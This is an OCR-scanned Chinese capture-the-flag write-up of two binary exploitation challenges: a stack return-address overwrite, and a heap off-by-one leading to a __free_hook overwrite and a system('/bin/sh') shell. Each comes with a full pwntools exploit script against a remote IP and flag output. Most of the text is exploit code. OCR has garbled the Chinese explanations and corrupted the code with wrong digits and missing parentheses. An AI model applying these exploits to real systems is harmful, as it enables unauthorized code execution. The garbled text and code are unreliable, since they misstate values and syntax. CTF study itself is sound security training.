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Il 'fhomefg1antbranch/Desktop{heap!pwnl'
Arch: 1386-32-1little
RELRO:

Stack:
NX:
PIE:

BIATHEE -
32fi, ®F FHcanaryfrir, BhHpie, PEIDAHF

int _ cdecl main()

{
char buf[52]; // [esp+@h] [ebp-38h] BYREF
sub_80484FB();
printf("Gift:%p\n", buf);
read(@, buf, ©x1eeu);
return 9;
} CS5DN @Lee__ee

bufk/N0x38, HIrAtREE N, EHE]
DHRIEAGE, KEXEZIERZAREY, BT 2/ERIIXEmain $iE R BENER— T

call read

add esp, 16h

mov eax, ©

mov ecx, [ebp+var 4]
leave

lea esp, [ecx-4]
retn

WHEread2Z J5, A &leave retn, Mi&% T —1Tlea esp [ecx-4] X BERERE— T, Kecx4Hthbtes Tesp, HX4TIRER T ecx
AfHihl, (FEElea XA Fmov, moviEiE 2 bl BT I N 25, ilea R & bt FRATIIR Bl bt 5 fEecx-4 Fidbt, 2 FHHABR
leak i K3 A%, BUAT Lhgetshell T, MAARUERTLL, TiAEZEM Hexp

exp:

#coding=utf-8

from pwn import*

io = remote('113.201.14.253"',16088)
context(log_level='debug',os="linux"',arch="1386")

shell _addr = 0x8048540

io.recvuntil('Gift:0x")
leak = int(io.recv(8),16)
success(hex(leak))
io.recvuntil(‘\n")

io.sendline(p32(shell_addr) + 'b'*0x30 + p32(leak+4))
io.interactive()



cat flag
[ ] Sent 0x9 bytes:
'cat flag\n'

[ ] Received 0x26 bytes:
'flag{474b719219effeb69530dadad63cl752a}"
flag{474b719219%effe69530dadad63cl752a} I

ZZflag!!
pwn2
[*] '/home/rencvn/Desktop/chang an/pwn2
Arch: amd64-64-1little
RELRO:
Stack:
NX:
PIE:
AR

64hL, FIHLEIETE, FIBIDAH T,
R—IEHER, ThRtF 4, fEadd()EEF ELEoff by one JRiH,

if ( *(_BYTE *)(qword 202080[i] + i) == 10 )
{

[FCBVYTE *)(quord_202080[1] + ) = O;

FATA LA Fby one B Epre_inusefr, tikoverlap, #EIREF, leakHilibcHbhl, #RJ5 ik iEoverlap, 3 Ffree_hookig4t, #
FBlsystem()BI 7] 4R J5 freeds’ bin/sh\x00’ T £ Rl shell.

SE&exp:

from pwn import *

elf = ELF('./pwn2’

io = remote('113.201.14.253',16066
#1io = process('./pwn2")

libc = ELF('./libc-2.27.s0"'
context(log_level='debug'

def choice(c
io.recvuntil(':"’
io.sendline(str(c

def add(size,content
choice(1
io.recvuntil(':"’
io.sendline(str(size
io.recvuntil(':"’
io.send(content

def edit(index,content
choice(2
io.recvuntil(":"’
io.sendline(str(index



io.recvuntil(':")
io.send(content)

def free(index):
choice(3)
io.recvuntil(':")
io.sendline(str(index))

def show(index):
choice(4)
io.recvuntil(':")
io.sendline(str(index))

add(@x410, 'A")
io.sendline()
add(ox68, 'A")

for i in range(9):
io.sendline()
add(exfe, 'A")
io.sendline()

for i in range(7):
free(i+4)

free(1)

free(0)

add(@x68, 'A' *@x60 + p64(8x498) + '\x00')
io.sendline()

free(2)

add(ex41e, 'B')

io.sendline()

show(9)

leak = u64(io.recvuntil("\x7f")[-6:].1just(8,b"\x00"))
success(hex(leak))

libc_base = leak - 9x3ebcad

success(hex(libc_base))

free_hook = libc_base + libc.sym[' free hook"]

system = libc_base + libc.sym| 'system']

success(hex(free_hook))
success(hex(system))

add(ox160, 'A")

for i in range(8):
io.sendline()
add(ex100, 'A")

io.sendline()

for i in range(7):
free(i+4)

add(0x68, 'N")
io.sendline()
add(@x410,'A")
io.sendline()
add(@x20,'A")
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free(11
free(4
add(0x68, 'A'*Ox60 + p64(0x180) + '\x20'
free(5
free(4

add(0x120, 'A'*0x100 + p64(0) + p64(0x70) + p64(free_hook
io.sendline

add(ox60, 'A'
io.sendline
add(0x60,p64(system
io.sendline

add(0x20, '/bin/sh\x00'
io.sendline

free(8

io.sendline
#gdb.attach(io)
io.interactive

cat flag
[ ] Sent 0x9 bytes:
‘cat flag\n'

[ ] Received 0x26 bytes:
'flag{33cb931de8350b94d949efa8220d5433}"
flag{33cb931deB8350b94d949efaB8220d5433}[*] Got EOF while reading in interactive

E #pwn2 flag!!
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